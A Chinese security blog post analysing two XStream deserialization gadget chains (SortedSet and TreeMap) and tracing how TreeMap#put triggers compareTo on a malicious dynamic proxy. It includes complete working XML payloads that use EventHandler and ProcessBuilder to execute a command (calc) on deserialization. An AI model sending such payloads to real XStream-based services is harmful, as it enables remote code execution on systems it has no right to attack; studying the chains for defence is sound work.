前文:【Web】浅聊XStream反序列化本源之恶意动态代理注入-CSDN博客
前言
在上一篇文章我们聊到可以用XStream反序列化来进行恶意动态代理的注入,但其有一个很大的限制就是必须要知道目标靶机会调用哪个接口的方法,才能去相应地精心构造对应接口的动态代理类,触发EventHandler从而进行恶意命令执行。
有没有通用性更强的解决方案,不需要靶机执行某接口方法,只要完成反序列化的过程就可以直接利用呢?
自然是有的,下面我们就来介绍SortedSet和TreeMap两条链
复现
SortedSetExp.java
package com.XStream;
import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
public class SortedSetExp {
public static void main(String[] args) throws Exception{
FileInputStream fileInputStream = new FileInputStream("payload.xml");
XStream xStream = new XStream();
xStream.fromXML(fileInputStream);
}
}
payload.xml
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
TreeMapExp
package com.XStream;
import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
public class TreeMapExp {
public static void main(String[] args) throws Exception{
FileInputStream fileInputStream = new FileInputStream("payload2.xml");
XStream xStream = new XStream();
xStream.fromXML(fileInputStream);
}
}
payload2.xml
<tree-map>
<entry>
<string>fookey</string>
<string>foovalue</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
根源的原理
记住我们的目的:只要完成反序列化的过程就可以直接调用动态代理类的Eventhandler#invoke,为此我们需要让动态代理类接口的某个方法在反序列化还原过程中自动调用
这里大佬们找到的是Comparable接口的compareTo方法
在TreeMap的put方法里就进行了compareTo方法的调用,而下面的两条链,其实最后都是依托TreeMap#put来完成反序列化的数据结构还原的,这和我们的目标一拍即合。
SortedSet链分析
一开始是HierarchicalStreams.readClassType获取待反序列化类的Class对象,前半段和上篇文章讲的一样,不作赘述,我们直接关注不一样的点
来到DynamicProxyMapper#realClass,注意elementName和alias是不相等的
会继续调用super.realClass作为返回值type
跟进
跟进DefaultMapper.realClass,取到一个加载的SortedSet类(注意initialize参数为false,所以并未初始化)
返回的type就是SortedSet.class
接着进到convertAnother对该类进行实例化
先是进行一个类型转化 ,mapper.defaultImplementationOf() 用于设定某个接口或抽象类的默认实现,以确保在没有显式指定实现的情况下,能够使用预设的默认实现。这样可以简化代码中对实现的选择和配置。
成功将SortedSet转化为默认实现类型TreeSet
接着调用lookupConverterForType来取对应的converter,这里的this.converterLookup就是XStream
跟进XStream#lookupConverterForType
跟进defaultConverterLookup.lookupConverterForType,这里的逻辑是,迭代this.converters,直到找到能转换出TreeSet类型,最后取到converter为TreeSetConverter
然后传参进convert调用
跟进,调用TreeSetConverter#unmarshal
跟进,调用TreeMapConverter#populateTreeMap,顾名思义,就是开始填充TreeMap
先创建一个空sortedMap
循环取出所有反序列化完毕的元素存到sortedMap
这个sortedMap只是一个缓存的地方,真正的返回值是TreeMap。之后判断JVM是否全部缓存好元素了,然后把sortedMap的缓存元素全部放入TreeMap作为反序列化的返回对象
简单跟一跟
最后调用了k(也就是动态代理类)的compareTo方法,传入参数是第一个key String
从而进到EventHandler#invoke,进行恶意命令的调用,这部分和上篇文章讲的一样,不再赘述。
TreeMap链分析
先是取到type为java.util.TreeMap
后续type没有进行默认类型转换
取到TreeMapConverter来进行convert还原待反序列化类
最后又进了TreeMapConverter#populateTreeMap,来到了熟悉的环节,后面就和上面讲的一样了,不再赘述